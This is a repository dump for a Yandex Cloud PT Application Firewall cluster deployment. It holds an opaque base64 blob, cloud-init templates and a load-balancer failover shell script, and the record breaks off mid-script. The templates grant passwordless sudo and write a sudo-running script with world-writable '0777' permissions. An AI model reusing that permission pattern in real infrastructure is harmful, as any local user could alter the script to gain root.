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
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/main/cloud-init_lin.tpl.yaml
================================================
#cloud-config
#ssh_pwauth: no
users:
- name: yc-user
sudo: ALL=(ALL) NOPASSWD:ALL
groups: sudo
shell: /bin/bash
ssh_authorized_keys:
- "${ssh_key}"
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/main/cloud-init_lin.tpl_1.yaml
================================================
#cloud-config
#ssh_pwauth: no
users:
- name: yc-user
sudo: ALL=(ALL) NOPASSWD:ALL
groups: sudo
shell: /bin/bash
ssh_authorized_keys:
- "${ssh_key}"
write_files:
- content: |
#!/bin/bash
sudo wsc -c 'host add 192.168.2.10 ptaf-a'
sudo wsc -c 'host add 172.18.0.10 ptaf-b'
sudo wsc -c 'timezone Europe/Moscow'
sudo wsc -c 'ntp add ru.pool.ntp.org'
sudo wsc -c 'cluster set mongo replset waf'
sudo wsc -c 'cluster set elastic replset waf'
sudo wsc -c 'cluster set mongo nodes ptaf-b'
sudo wsc -c 'cluster set elastic nodes ptaf-a ptaf-b'
path: /home/pt/cluster.sh
permissions: '0777'
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/main/cloud-init_lin.tpl_2.yaml
================================================
#cloud-config
#ssh_pwauth: no
users:
- name: yc-user
sudo: ALL=(ALL) NOPASSWD:ALL
groups: sudo
shell: /bin/bash
ssh_authorized_keys:
- "${ssh_key}"
write_files:
- content: |
#!/bin/bash
sudo wsc -c 'host add 192.168.2.10 ptaf-a'
sudo wsc -c 'host add 172.18.0.10 ptaf-b'
sudo wsc -c 'timezone Europe/Moscow'
sudo wsc -c 'ntp add ru.pool.ntp.org'
sudo wsc -c 'cluster set mongo replset waf'
sudo wsc -c 'cluster set elastic replset waf'
sudo wsc -c 'cluster set elastic nodes ptaf-b ptaf-a'
path: /home/pt/cluster.sh
permissions: '0777'
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/main/function/handler.sh
================================================
#!/bin/bash
#folderid=b1ghen4foi7mbm59jb7f
#tgwafid=enpvfc4sa8e4u83bsbu1
#tgvmid=enpodd6db5pcqjrrdu50
#elb=nlb-577f3-f98
#ilb=ilbvm
function ptaf() {
if [[ $1 == "active" ]]; then
if [[ $elbtg != $tgwafid ]] || [[ $ilbtg != $tgvmid ]]
then
#echo 'DO elb - tgwaf, ilb - tgvm'
yc logging write --group-name=default --message="DO elb - tgwaf, ilb - tgvm" --timestamp="$(date)" --level=INFO
varX=$(yc lb network-load-balancer detach-target-group --folder-id $folderid --target-group-id $elbtg --name $elb)
varX=$(yc lb network-load-balancer detach-target-group --folder-id $folderid --target-group-id $ilbtg --name $elb)
varX=$(yc lb network-load-balancer detach-target-group --folder-id $folderid --target-group-id $ilbtg --name $ilb)
varX=$(yc lb network-load-balancer detach-target-group --folder-id $folderid --target-group-id $elbtg --name $ilb)
varX=$(yc lb network-load-balancer attach-target-group --folder-id $folderid $elb --target-group target-group-id=$tgwafid,healthcheck-tcp-port=80,healthcheck-name=ilbcheck)
varX=$(yc lb network-load-balancer attach-target-group --folder-id $folderid $ilb --target-group target-group-id=$tgvmid,healthcheck-tcp-port=80,healthcheck-name=elbcheck)
fi
fi
if [ $1 == "passive" ]; then
if [[ $elbtg != $tgvmid ]] || [[ $ilbtg != $tgwafid ]]
then
#echo 'DO elb - tgvm, ilb - tgwaf'
yc logging write --group-name=default --message="DO elb - tgvm, ilb - tgwaf" --timestamp="$(date)" --level=INFO
varX=$(yc lb network-load-balancer detach-target-group --folder-id $folderid --target-group-id $elbtg --name $elb)
varX=$(yc lb network-load-balancer detach-target-group --folder-id $folderid --target-group-id $ilbtg --name $ilb)
varX=$(yc lb network-load-balancer detach-target-group --folder-id $folderid --target-group-id $elbtg --name $ilb)
varX=$(yc lb network-load-balancer detach-target-group --folder-id $folderid --target-group-id $ilbtg --name $elb)
varX=$(yc lb network-load-balancer attach-target-group --folder-id $folderid $elb --target-group target-group-id=$tgvmid,healthcheck-tcp-port=80,healthcheck-name=ilbcheck)
varX=$(yc lb network-load-balancer attach-target-group --folder-id $folderid $ilb --target-group target-group-id=$tgwafid,healthcheck-tcp-port=80,healthcheck-name=elbcheck)
fi
fi
#echo 'done.'
yc logging write --group-name=default --message="Done" --timestamp="$(date)" --level=INFO
}
elbtg=$(yc --format json lb network-load-balancer get --folder-id $folderid $elb | jq '.attached_target_groups' | jq '.[].target_group_id' 2>&1 | sed 's/"//g')
ilbtg=$(yc --format json lb network-load-balancer get --folder-id $folderid $ilb | jq '.attached_target_groups' | jq '.[].target_group_id' 2>&1 | sed 's/"//g')
if [[ $elbtg == *"error"* ]] || [[ $ilbtg == *"error"* ]]; then
ptaf 'active'
#echo 'resetting defaults'
yc logging write --group-name=default --message="resetting defaults" --timestamp="$(date)" --level=INFO
exit 0
fi
if [[ $elbtg == $tgwafid ]]; then
